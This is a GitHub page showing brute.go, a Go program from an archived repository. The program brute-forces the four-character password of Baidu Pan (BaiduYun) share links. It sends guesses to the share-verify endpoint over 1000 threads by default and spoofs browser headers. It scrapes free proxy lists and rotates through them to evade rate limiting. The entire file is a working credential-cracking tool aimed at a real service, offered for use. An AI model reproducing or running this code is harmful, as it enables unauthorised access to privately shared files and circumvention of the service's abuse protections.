This repository has been archived by the owner on May 4, 2021. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 22
/
Copy pathbrute.go
396 lines (374 loc) · 9.08 KB
/
brute.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
package main
import (
"encoding/json"
"fmt"
"io/ioutil"
"log"
"math/rand"
"net/http"
"net/http/cookiejar"
"net/url"
"os"
"os/signal"
"regexp"
"strconv"
"strings"
"sync"
"time"
"gopkg.in/alecthomas/kingpin.v2"
"gopkg.in/cheggaaa/pb.v1"
)
const (
MAX_VALUE int64 = 1679616 // 36^4
MAX_RETRY = 10
RETRY_TIME = 5 * time.Second
TIMEOUT = 20 * time.Second
)
var (
link = kingpin.Arg("link", "URL of BaiduYun file you want to get.").Required().String()
preset = kingpin.Flag("preset", "The preset start of key to brute.").Short('p').Default("0000").String()
thread = kingpin.Flag("thread", "Number of threads.").Short('t').Default("1000").Int64()
resolver []*Resolve
bar *pb.ProgressBar
surl string
start int64
refer string
wg sync.WaitGroup
proxies map[Proxy]int
updater []*Proxies
mapLocker *sync.Mutex
useable *AtomBool
nullP Proxy
)
type Info struct {
Errno int `json:"errno"`
ErrMsg string `json:"err_msg"`
}
type Proxy struct {
typ, addr, port string
}
type Resolve struct {
re *regexp.Regexp
fun func(*regexp.Regexp, string)
}
type Proxies struct {
update func()
}
type AtomBool struct {
flag bool
lock *sync.Mutex
}
func (b *AtomBool) Set(value bool) {
b.lock.Lock()
defer b.lock.Unlock()
b.flag = value
}
func (b *AtomBool) Get() bool {
b.lock.Lock()
defer b.lock.Unlock()
if b.flag {
b.flag = false
return true
}
return false
}
func getProxy() (Proxy, bool) {
mapLocker.Lock()
defer mapLocker.Unlock()
for {
if len(proxies) <= 0 {
return nullP, false
}
ran := rand.Intn(len(proxies))
cnt := 0
for i, k := range proxies {
if k >= MAX_RETRY {
delete(proxies, i)
break
}
if cnt == ran {
return i, true
}
cnt++
}
}
}
func addProxy(in Proxy) {
mapLocker.Lock()
defer mapLocker.Unlock()
proxies[in] = 0
}
func deleteProxy(in Proxy) {
mapLocker.Lock()
defer mapLocker.Unlock()
delete(proxies, in)
}
func increProxy(in Proxy) {
mapLocker.Lock()
defer mapLocker.Unlock()
proxies[in]++
}
func saveProxies() {
updater = append(updater,
&Proxies{
func() {
for {
resp, err := http.Get("https://free-proxy-list.net/")
if err != nil {
log.Println(err)
time.Sleep(RETRY_TIME)
continue
}
conte, err := ioutil.ReadAll(resp.Body)
resp.Body.Close()
if err != nil {
log.Println(err)
time.Sleep(RETRY_TIME)
continue
}
re, _ := regexp.Compile(`<tr><td>(\d+\.\d+\.\d+\.\d+)</td><td>(\d+)</td><td>.*?</td><td class="hm">.*?</td><td>.*?</td><td class="hm">.*?</td><td class="hx">(yes|no)</td><td class="hm">.*?</td></tr>`)
sca := re.FindAllStringSubmatch(string(conte), -1)
for _, i := range sca {
if len(i) != 4 {
log.Fatal("Unexpected error: ", i)
}
if i[3] == "yes" {
i[3] = "https"
} else if i[3] == "no" {
i[3] = "http"
}
ne := Proxy{i[3], i[1], i[2]}
addProxy(ne)
}
time.Sleep(5 * time.Minute)
}
},
})
updater = append(updater,
&Proxies{
func() {
for {
resp, err := http.Get("https://www.sslproxies.org/")
if err != nil {
log.Println(err)
time.Sleep(RETRY_TIME)
continue
}
conte, err := ioutil.ReadAll(resp.Body)
resp.Body.Close()
if err != nil {
log.Println(err)
time.Sleep(RETRY_TIME)
continue
}
re, _ := regexp.Compile(`<tr><td>(\d+\.\d+\.\d+\.\d+)</td><td>(\d+)</td>.*?</tr>`)
sca := re.FindAllStringSubmatch(string(conte), -1)
for _, i := range sca {
if len(i) != 3 {
log.Fatal("Unexpected error: ", i)
}
ne := Proxy{"https", i[1], i[2]}
addProxy(ne)
}
time.Sleep(5 * time.Minute)
}
},
})
updater = append(updater,
&Proxies{
func() {
for {
resp, err := http.Get("https://proxy.coderbusy.com/en-us/classical/https-ready.aspx")
if err != nil {
log.Println(err)
time.Sleep(RETRY_TIME)
continue
}
conte, err := ioutil.ReadAll(resp.Body)
resp.Body.Close()
if err != nil {
log.Println(err)
time.Sleep(RETRY_TIME)
continue
}
conte1 :=strings.Replace(string(conte), "\r\n", "", -1)
re, _ := regexp.Compile(`<span>(\d+\.\d+\.\d+\.\d+)</span>.*?</td>.*?<td>.*?<script type="text/javascript">.*?(\d+).*?</script>`)
sca := re.FindAllStringSubmatch(conte1, -1)
for _, i := range sca {
log.Println(i)
if len(i) != 3 {
log.Fatal("Unexpected error: ", i)
}
ne := Proxy{"https", i[1], i[2]}
addProxy(ne)
}
time.Sleep(5 * time.Minute)
}
},
})
}
func next(now string, count int64) int64 {
num, err := strconv.ParseInt(now, 36, 64)
if err != nil || num < 0 || num > MAX_VALUE {
log.Fatal("Not a valid number!")
}
return num + count
}
func saveResolver() {
resolver = append(resolver,
&Resolve{
regexp.MustCompile(`//pan\.baidu\.com/share/init\?surl=([a-zA-Z0-9]+)`),
func(re *regexp.Regexp, ori string) {
ret := re.FindStringSubmatch(ori)
if len(ret) != 2 {
log.Fatal("Unexpected error: ", ori)
}
surl = ret[1]
refer = ori
},
})
resolver = append(resolver,
&Resolve{
regexp.MustCompile(`//pan\.baidu\.com/s/[a-zA-Z0-9]+`),
func(re *regexp.Regexp, ori string) {
jar, _ := cookiejar.New(nil)
session := &http.Client{
Jar: jar,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
for {
resp, err := session.Get(ori)
if err != nil {
log.Println(err)
time.Sleep(RETRY_TIME)
continue
}
if resp.StatusCode == 200 {
log.Fatal("Link seems password-less!")
} else if resp.StatusCode == 302 {
if resolver[0].re.MatchString(resp.Header.Get("Location")) {
resolver[0].fun(resolver[0].re, resp.Header.Get("Location"))
} else {
log.Fatalf("Unexpected error: %s %s", ori, resp.Header.Get("Location"))
}
break
}
}
},
})
}
func builder(now string) (*http.Response, Proxy, error) {
var pro Proxy
for {
var ok bool
if pro, ok = getProxy(); ok {
useable.Set(true)
break
}
if useable.Get() {
log.Println("No proxies left! Threads will hang up...")
}
time.Sleep(RETRY_TIME)
}
par, _ := url.Parse(fmt.Sprintf("%s://%s:%s", pro.typ, pro.addr, pro.port))
session := &http.Client{
Timeout: TIMEOUT,
Transport: &http.Transport{Proxy: http.ProxyURL(par)},
}
req, err := http.NewRequest("POST", fmt.Sprintf("https://pan.baidu.com/share/verify?surl=%s", surl), strings.NewReader(fmt.Sprintf("pwd=%04s&vcode=&vcode_str=", now)))
if err != nil {
log.Fatal(err)
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8")
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36")
req.Header.Set("Origin", "https://pan.baidu.com")
req.Header.Set("Referer", refer)
resp, err := session.Do(req)
return resp, pro, err
}
func tester(work int64) {
for work < MAX_VALUE {
now := strconv.FormatInt(work, 36)
info := new(Info)
for {
if resp, pro, err := builder(now); err == nil {
if resp.StatusCode == 200 {
if err = json.NewDecoder(resp.Body).Decode(info); err == nil {
if info.Errno == 0 {
log.Printf("Key found: %04s!", now)
os.Exit(0)
} else if info.Errno != -9 {
increProxy(pro)
log.Printf("Unknown error! Service returned %d with message: \"%s\"", info.Errno, info.ErrMsg)
} else {
addProxy(pro) // Set the counter to zero
break
}
}
} else if resp.StatusCode == 404 {
deleteProxy(pro)
} else {
increProxy(pro)
log.Printf("Unknown error! Server returned %d!", resp.StatusCode)
}
resp.Body.Close()
} else if strings.Contains(err.Error(), "error connecting to proxy") { // ugly but works
increProxy(pro)
}
time.Sleep(RETRY_TIME)
}
bar.Increment()
work += *thread
}
wg.Done()
}
func init() {
kingpin.CommandLine.HelpFlag.Short('h')
kingpin.Parse()
saveResolver() // For future expansion of resolver
var indi int
for indi = 0; indi < len(resolver); indi++ {
if resolver[indi].re.MatchString(*link) {
resolver[indi].fun(resolver[indi].re, *link)
break
}
}
if indi == len(resolver) {
log.Fatal("No proper resolver found!")
}
mapLocker = new(sync.Mutex)
useable = new(AtomBool)
useable.lock = new(sync.Mutex)
proxies = make(map[Proxy]int)
saveProxies() // For future expansion of proxy
for _, i := range updater {
go i.update()
}
start = next(*preset, 0)
bar = pb.New64(MAX_VALUE)
bar.SetMaxWidth(70)
bar.ShowCounters = false
bar.ShowSpeed = true
bar.ShowTimeLeft = true
bar.Set64(start)
bar.Start()
c := make(chan os.Signal, 1)
signal.Notify(c, os.Interrupt)
go func() {
for _ = range c {
log.Printf("Terminating program, current progress: %04s", strconv.FormatInt(bar.Get(), 36))
os.Exit(1)
}
}()
}
func main() {
log.SetPrefix("\r") // For compatibility with indicator
wg.Add(int(*thread))
for i := int64(0); i < *thread; i++ {
go tester(start + i)
}
wg.Wait()
log.Fatal("No key found!")
}